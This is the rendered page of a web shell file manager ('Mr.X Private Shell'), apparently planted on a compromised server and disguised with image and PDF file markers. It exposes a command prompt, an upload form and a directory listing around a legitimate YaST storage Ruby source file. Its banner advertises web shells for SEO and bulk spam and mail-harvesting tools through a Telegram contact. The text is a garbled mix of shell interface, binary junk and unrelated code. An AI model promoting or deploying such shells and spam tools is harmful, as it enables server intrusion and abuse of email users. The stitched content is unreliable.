xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# Copyright (c) 2012 Novell, Inc.
#
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of version 2 of the GNU General Public License as published
# by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
# more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may
# find current contact information at www.novell.com.

# File:        ep-main.ycp
# Package:     yast2-storage
# Summary:     Expert Partitioner
# Authors:     Arvin Schnell <aschnell@suse.de>
module Yast
  module PartitioningLvmLvLibInclude
    def initialize_partitioning_lvm_lv_lib(include_target)
      textdomain "storage"
      Yast.import "Storage"
      Yast.import "Popup"

      Yast.include include_target, "partitioning/lvm_lib.rb"
      Yast.include include_target, "partitioning/lvm_pv_lib.rb"
    end

    def popupText(stripe)
      txt = _(
        "A logical volume with the requested size could \nnot be created.\n"
      )
      if Ops.greater_than(stripe, 1)
        txt = Ops.add(txt, _("Try reducing the stripe count of the volume."))
      end
      Popup.Error(txt)

      nil
    end

    def addLogicalVolume(_Lv, current_vg)
      _Lv = deep_copy(_Lv)
      ret = true
      if Ops.get_boolean(_Lv, "pool", false)
        ret = Storage.CreateLvmPool(
          current_vg,
          Ops.get_string(_Lv, "name", ""),
          Ops.get_integer(_Lv, "size_k", 0),
          Ops.get_integer(_Lv, "stripes", 1)
        )
      elsif !Builtins.isempty(Ops.get_string(_Lv, "used_pool", ""))
        ret = Storage.CreateLvmThin(
          current_vg,
          Ops.get_string(_Lv, "name", ""),
          Ops.get_string(_Lv, "used_pool", ""),
          Ops.get_integer(_Lv, "size_k", 0)
        )
      else
        ret = Storage.CreateLvmLv(
          current_vg,
          Ops.get_string(_Lv, "name", ""),
          Ops.get_integer(_Lv, "size_k", 0),
          Ops.get_integer(_Lv, "stripes", 1)
        )
      end
      if !ret
        popupText(Ops.get_integer(_Lv, "stripes", 1))
      else
        ret = Storage.ChangeVolumeProperties(_Lv)
        if Ops.greater_than(Ops.get_integer(_Lv, "stripes", 1), 1) &&
            Ops.greater_than(Ops.get_integer(_Lv, "stripesize", 0), 0)
          ret = Storage.ChangeLvStripeSize(
            current_vg,
            Ops.get_string(_Lv, "name", ""),
            Ops.get_integer(_Lv, "stripesize", 0)
          ) && ret
        end
      end
      ret
    end


    #//////////////////////////////////////////////////////////////////////////////
    # Get all existing lv names of a volume group

    def get_lv_names(target_map, vg_name)
      target_map = deep_copy(target_map)
      parts = Ops.get_list(
        target_map,
        [Ops.add("/dev/", vg_name), "partitions"],
        []
      )
      ret = Builtins.maplist(parts) { |part| Ops.get_string(part, "name", "") }
      deep_copy(ret)
    end
  end
end

Filemanager

Name Type Size Permission Actions
auto_part_create.rb File 7.21 KB 0644
auto_part_functions.rb File 11.8 KB 0644
auto_part_prepare.rb File 7.99 KB 0644
auto_part_ui.rb File 11.06 KB 0644
custom_part_check_generated.rb File 34.52 KB 0644
custom_part_dialogs.rb File 53.69 KB 0644
custom_part_helptexts.rb File 5.85 KB 0644
custom_part_lib.rb File 36.74 KB 0644
ep-all.rb File 9.28 KB 0644
ep-btrfs-dialogs.rb File 8.93 KB 0644
ep-btrfs-lib.rb File 5.17 KB 0644
ep-btrfs.rb File 9.27 KB 0644
ep-dialogs.rb File 42.13 KB 0644
ep-dm-dialogs.rb File 2.11 KB 0644
ep-dm-lib.rb File 1.92 KB 0644
ep-dm.rb File 7.14 KB 0644
ep-graph.rb File 5.88 KB 0644
ep-hd-dialogs.rb File 20.63 KB 0644
ep-hd-lib.rb File 21.3 KB 0644
ep-hd.rb File 18.48 KB 0644
ep-import.rb File 17.38 KB 0644
ep-lib.rb File 17.89 KB 0644
ep-loop-dialogs.rb File 9.77 KB 0644
ep-loop-lib.rb File 2.99 KB 0644
ep-loop.rb File 5.09 KB 0644
ep-lvm-dialogs.rb File 30.73 KB 0644
ep-lvm-lib.rb File 11.08 KB 0644
ep-lvm.rb File 13.3 KB 0644
ep-main.rb File 20.62 KB 0644
ep-nfs.rb File 8.62 KB 0644
ep-raid-dialogs.rb File 20.49 KB 0644
ep-raid-lib.rb File 7.02 KB 0644
ep-raid.rb File 8.04 KB 0644
ep-settings.rb File 9.22 KB 0644
ep-summary.rb File 1.58 KB 0644
ep-tmpfs-dialogs.rb File 1.72 KB 0644
ep-tmpfs-lib.rb File 2.58 KB 0644
ep-tmpfs.rb File 6.72 KB 0644
ep-unused.rb File 3.98 KB 0644
lvm_lib.rb File 1.54 KB 0644
lvm_lv_lib.rb File 3.22 KB 0644
lvm_pv_lib.rb File 6.83 KB 0644
lvm_ui_dialogs.rb File 2.59 KB 0644
partition_defines.rb File 3.41 KB 0644
raid_lib.rb File 3.42 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1